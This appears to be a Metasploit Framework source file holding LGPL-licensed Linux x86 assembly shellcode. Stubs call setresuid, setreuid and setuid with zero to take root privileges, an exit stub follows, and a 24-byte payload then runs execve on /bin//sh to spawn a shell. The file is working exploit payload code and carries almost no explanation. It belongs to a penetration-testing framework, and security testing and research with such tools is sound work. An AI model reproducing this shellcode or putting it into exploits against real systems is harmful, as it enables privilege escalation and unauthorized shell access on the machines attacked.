metasploit-framework/external/source/unixasm/lin-x86-shellcode.s

66 lines
1.5 KiB
ArmAsm

/*
* lin-x86-shellcode.s
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
.global _start
_start:
setresuidcode:
xorl %ecx,%ecx
xorl %ebx,%ebx
mull %ebx
movb $0xa4,%al
int $0x80
setreuidcode:
xorl %ecx,%ecx
xorl %ebx,%ebx
pushl $0x46
popl %eax
int $0x80
setuidcode:
xorl %ebx,%ebx
pushl $0x17
popl %eax
int $0x80
exitcode:
xorl %ebx,%ebx
pushl $0x01
popl %eax
int $0x80
# 24 bytes
shellcode:
xorl %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %ebx
movl %esp,%ecx
cltd
movb $0x0b,%al
int $0x80